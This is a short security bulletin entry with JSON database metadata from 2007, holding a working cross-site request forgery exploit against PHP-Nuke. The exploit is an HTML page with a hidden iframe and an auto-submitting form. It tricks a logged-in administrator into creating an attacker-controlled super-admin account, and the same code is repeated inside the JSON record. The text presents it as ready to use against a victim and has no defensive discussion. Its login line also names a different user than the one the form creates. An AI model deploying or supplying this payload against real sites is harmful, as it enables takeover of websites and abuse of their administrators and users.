Paste this code into an HTML page then link it to victim (victim must be admin)
<iframe name="aiuto" frameborder="0" height="0" width="0"></iframe>
<FORM name="Faiuto" ACTION="http://VICTIMURL/nuke/admin.php" target="aiuto" METHOD=POST>
<input type=hidden NAME="add_name" value="ATTACKER">
<input type=hidden NAME="add_aid" value="ATTACKER">
<input type=hidden NAME="add_email" value="YOURMAIL@YOURDOMAIN.IT">
<input type=hidden NAME="add_url" value="YOURSITE">
<input type=hidden NAME="add_admlanguage" value="italian">
<input type=hidden NAME="add_radminsuper" value="1">
<input type=hidden NAME="add_pwd" value="YOURPASSWORD">
<input type=hidden NAME="op" value="AddAuthor">
<input type="image" height="0" width="0">
</FORM><SCRIPT>document.Faiuto.submit()</SCRIPT>
You are admin now ;)
Then you can log in into phpnuke with user HACKER and pass YOURPASSWORD...
{"id": "SECURITYVULNS:DOC:18034", "bulletinFamily": "software", "title": "PHP-Nuke add admin ALL Versions", "description": "Paste this code into an HTML page then link it to victim (victim must be admin)\r\n\r\n <iframe name="aiuto" frameborder="0" height="0" width="0"></iframe>\r\n <FORM name="Faiuto" ACTION="http://VICTIMURL/nuke/admin.php" target="aiuto" METHOD=POST>\r\n <input type=hidden NAME="add_name" value="ATTACKER">\r\n <input type=hidden NAME="add_aid" value="ATTACKER">\r\n <input type=hidden NAME="add_email" value="YOURMAIL@YOURDOMAIN.IT">\r\n <input type=hidden NAME="add_url" value="YOURSITE">\r\n <input type=hidden NAME="add_admlanguage" value="italian">\r\n <input type=hidden NAME="add_radminsuper" value="1">\r\n <input type=hidden NAME="add_pwd" value="YOURPASSWORD">\r\n <input type=hidden NAME="op" value="AddAuthor">\r\n <input type="image" height="0" width="0">\r\n </FORM><SCRIPT>document.Faiuto.submit()</SCRIPT> \r\n\r\nYou are admin now ;)\r\n\r\nThen you can log in into phpnuke with user HACKER and pass YOURPASSWORD...", "published": "2007-09-21T00:00:00", "modified": "2007-09-21T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:18034", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:23", "edition": 1, "viewCount": 43, "enchantments": {"score": {"value": 0.2, "vector": "NONE"}, "dependencies": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:8172"]}], "rev": 4}, "backreferences": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:8172"]}]}, "exploitation": null, "vulnersScore": 0.2}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645535128, "score": 1659803227}, "_internal": {"score_hash": "689997089337de569b8ac7224c6f6fea"}}